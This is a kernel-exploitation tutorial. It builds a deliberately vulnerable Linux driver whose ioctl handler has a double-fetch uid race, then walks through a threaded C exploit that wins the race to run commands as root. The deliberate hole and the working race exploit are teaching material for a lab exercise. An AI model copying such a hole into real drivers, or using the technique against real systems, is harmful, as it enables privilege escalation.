An introduction to Kernel Exploitation Part 1
I’m writing this post because I often hear that kernel exploitation is intimidating or difficult to learn. As a result, I’ve decided to start a series of basic bugs and exercises to get you started!
Prerequisites
- Knowledge of the Linux command line
- Knowing how to read and write basic C may be beneficial
- Being able to debug with the help of a virtual computer or another system
- Able to install the kernel module compilation build requirements
- A basic understanding of the difference between userland and kernelland could be helpful
- Having a basic understanding of assembly can be beneficial for future episodes
For this part, I wrote a simple Linux character device, /dev/shell
. This driver will take two arguments, uid
and cmd
, and it will execute the cmd
command as the specified uid
. To understand how this driver works, I’ll explain a few things!
When a device is registered in Linux, it takes a few parameters, the most important of which is fops (File Operations). The fops of a character device looks somewhat like this:
static struct file_operations query_fops = {
.owner = THIS_MODULE,
.open = shell_open,
.release = shell_close,
.unlocked_ioctl = shell_ioctl
};
You can see that there are a few operations. open
is the function that’s being called when you open the device, the release
function is being called when you close the device, and unlocked_ioctl
is called when you make an IOCTL (Input / Output control) request to the device. In userland these will look like:
Open:
fd = open("/dev/shell", O_RDWR);
Close:
close(fd);
IOCTL:
ioctl(fd, COMMAND, argument);
In this case, we will want to focus on the IOCTL request. The request takes a few arguments, these being:
The FD pointing to the device you just opened. The command number. The argument, this can either be an integer or a pointer to a data structure in userland.
In our case the function signature looks somewhat like this:
static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
Our IOCTL function takes a pointer to a data structure in userland as an argument. This argument is struct user_data
, which is described in our code as:
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
This structure contains a user-id and a command to execute. This command has a maximum of 100 bytes. Our full ioctl handler looks like this:
static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
user_data udat;
kuid_t kernel_uid = current_uid();
memset(udat.cmd, 0, sizeof(udat.cmd));
if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
return -EFAULT;
printk(KERN_INFO "CHECKING VALIDITY OF UID: %d", udat.uid);
if (udat.uid == kernel_uid.val) {
int rc;
struct subprocess_info *sub_info;
printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);
usleep_range(1000000, 1000001);
char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);
if (!argv)
return -ENOMEM;
memset(&udat, 0, sizeof(udat));
if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
return -EFAULT;
real_uid = udat.uid;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
argv[0] = "/bin/sh";
argv[1] = "-c";
argv[2] = udat.cmd;
argv[3] = NULL;
printk(KERN_INFO "CMD = %s\n", argv[2]);
sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, init_func, free_argv, NULL);
if (sub_info == NULL) {
kfree(argv);
return -ENOMEM;
}
rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
printk(KERN_INFO "RC = %d\n", rc);
return rc;
}
return 0;
}
Let me explain what this does. At first it initializes some data:
// Define our udat destination
user_data udat;
// Get the current users UID
kuid_t kernel_uid = current_uid();
// Zero out the structs CMD memory just to be sure.
memset(udat.cmd, 0, sizeof(udat.cmd));
Once this is done, we will fetch some data from userspace and compare the uid the user sent us with the uid we got.
// Copy the uid part of the user_dat struct to kernel memory from userland.
if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
return -EFAULT;
// Is the UID we supplied the same as the UID that calls this ioctl.
if (udat.uid == kernel_uid.val) {
// Next part
}
In the next part, if the uid matches, it will set up some variables, etc for the next stage!
int rc;
struct subprocess_info *sub_info;
printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);
usleep_range(1000000, 1000001);
char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);
if (!argv)
return -ENOMEM;
You can here see that it creates a buffer for the command, a return code, and a struct subprocess_info. There will be useful for later. After that, it will sleep (to make exploitation a bit easier, as we focus on explaining the purpose of the bug and not on mad exploits!). After that, we will allocate four arrays for the arguments of the commands that are executed. If the memory can’t be allocated the driver will quit.
Once these data structures are initialized we will zero out the memory of udat
and copy the entire structure from user-space:
memset(&udat, 0, sizeof(udat));
if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
return -EFAULT;
real_uid = udat.uid;
This is where the bug comes in! The bug in here is a race condition which we call in fancy words: Double Fetch!
In theory, a Double Fetch is a race condition weakness. Between kernel mode and user mode, there may be a data access rivalry. Virtual memory addresses are normally divided into kernelspace and userspace in modern operating systems like Linux and BSD variants.
Core kernel code, driver code, as well as other components with higher privileges, run in the kernelspace. The userspace executes user code and usually interacts with the kernel through system/IOCTL calls to carry out the necessary tasks. When userspace sends the data to the kernel, the kernel generally copies the data to kernelspace using a copy function like copy_from_user()
for verification and relatability.
Common functions that copy memory from userspace to kernelspace are:
- copy_from_user (Linux)
- __copy_from_user (Linux)
- get_user (Linux)
- copyin (BSD)
- copyinstr (BSD)
- Many many more!
We could modify the data after it has been fetched for the first time by some of the functions that copy memory from userspace, which is the danger of this flaw. We might get around any checks that this data may have. There are size limits in certain situations, but we’d like to adjust the uid after it has been verified in this case.
In theory, this would be the shell module’s vulnerable code-path.
- Userspace uid is retrieved by the module
- The module determines if the uid that is specified is the same as the uid of the calling user.
- In our own userspace memory, we are continually changing the uid in a new thread
- The module runs a command as the user to whom we just changed it (using
call_usermodehelper()
).
Fun fact: The
call_usermodehelper()
functions are extremely useful for security researchers! It is often used in rootkits or exploits to return to userland and execute commands with elevated privileges.
Your task? Write an exploit for the driver located at:
https://github.com/JordyZomer/kernel_challenges/blob/main/episode1/driver
(My exploit is there for reference in episode1/client).
SPOILER ALERT (Discussing my exploit):⌗
We’ve found the driver! Let’s see if we can come up with an exploit for it. We’ll begin by building the device so that it can be accesed from our client.
Run the following commands as root in the episode1/driver/
directory:
$ make # This will compile the kernel module and give you the shell.ko file
...
$ insmod shell.ko # This will insert (load) our freshly compiled module
...
$ chmod 777 /dev/shell # We want the character device to be accesible by any user
Let’s get to work on the client now that our driver is all set up! We start with a basic skeleton that includes everything we’ll need:
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <pthread.h>
int main(void)
{
return EXIT_SUCCESS;
}
This won’t do much but return success once it’s been compiled.
The first step is to open our device, which we can do using the open
syscall.
The open
syscall accepts two arguments: a pathname
and some flags
. We’ll use our device as the pathname
and read + write
as the flags.
// O_RDWR stands for open it for both reading and writing.
int fd = open("/dev/shell", O_RDWR);
Of course, once we’ve opened our character device, we’ll have to shut it again! This is what the close
syscall would do!
int main(void)
{
int fd = open("/dev/shell", O_RDWR);
//XXX: DO SOMETHING USEFUL HERE
close(fd);
}
Now it’s up to us to do something useful with it; we know our driver has an IOCTL handler that ignores the cmd
but rather accepts a pointer to struct user_data
as an argument!
Let’s begin by including the user_data
struct in our client and sending an IOCTL request! This will appear as follows:
// This defines the struct that we'll give as an argument to our IOCTL request.
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
int main(void)
{
// This creates an instance of the user_data structure called 'udat'.
user_data udat;
// We'll initialize the data of the structure here!
// our uid is the uid of my current user.
udat.uid = 1000;
// Copy the string echo 'foo' > /tmp/hacker to our command as a test.
strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
// Open our driver
int fd = open("/dev/shell", O_RDWR);
// Make our actual IOCTL request with the data we just initialized.
ioctl(fd, 0, &udat);
// Close our driver again
close(fd);
return EXIT_SUCCESS;
}
Our simple client is now complete! This will literally run our command as our user!
Note that the above example does not perform any error checking; if you want that you’ll have to do it yourself.
Now comes the actual exploitation of the bug, which will require us to win the race against the kernel module’s uid verification.
We can do this by modifying our uid
in another thread, which we can do with the pthread
library.
Within pthread, a thread can be declared using the pthread_t
data-type. Next to that we can use pthread_create()
to start a new process.
From the docs: The pthread_create() function starts a new thread in the calling process.
The new thread starts execution by invoking start_routine(); arg is passed as the sole argument of start_routine().
Let’s update our code to start a thread!
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
void change_uid_root(void *struct_ptr)
{
// TODO: Add code to change the uid in our structure.
printf("Hello from our thread!\n");
}
int main(void)
{
// Declare an instance of a thread
pthread_t thread;
user_data udat;
udat.uid = 1000;
strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
// Create a thread within our process that calls the change_uid_root() function
// With our udat (user_data) structure as an argument.
pthread_create(&thread, NULL, change_uid_root, &udat);
int fd = open("/dev/shell", O_RDWR);
ioctl(fd, 0, &udat);
// Wait for our thread to stop
pthread_join(thread, NULL);
close(fd);
return EXIT_SUCCESS;
}
This is a fantastic start. Obviously, the code isn’t complete yet, but so far:
- We’ve defined and initialized our
user_data
struct and built a simple client for our IOCTL handler. - Using the IOCTL request, we could actually run commands.
- We’ve made a thread that will actually print something!
The next move is to modify the change_uid_root()
function so that we can keep editing our uid
while still sending legitimate IOCTL requests.
This way, we can try to beat the kernel to modify our uid after the verification is completed!
Let’s get started with this step!
// Add a bit of state tracking
// So we can stop the thread when our for loop is done
int finish = 0;
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
void change_uid_root(void *struct_ptr)
{
user_data *udat = struct_ptr;
// While we're not finished, keep trying to change the uid to 0 in this thread.
while (finish == 0)
udat->uid = 0;
}
int main(void)
{
pthread_t thread;
user_data udat;
udat.uid = 1000;
strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
pthread_create(&thread, NULL, change_uid_root, &udat);
int fd = open("/dev/shell", O_RDWR);
// Try running 100 legitimate IOCTL requests
// while our thread is trying to change the uid to 0
// we keep resetting our uid
// to our initial value otherwise it will stay 0 after the thread
for (int i = 0; i < 100; i++) {
ioctl(fd, 0, &udat);
udat.uid = 1000;
}
// After our loop we should make our thread stop.
finish = 1;
pthread_join(thread, NULL);
close(fd);
return EXIT_SUCCESS;
}
This code will win the race on my machine and create a /tmp/hacker
file as the root user after compiling and running it!
You may need to change some variables like the amount of tries and the amount of threads a little to make it work, as with all race-conditions.
That was the end of the first section! I hope you enjoyed it. Comments or suggestions are welcome on jordy [a-t] pwning.systems :).
Cheeers!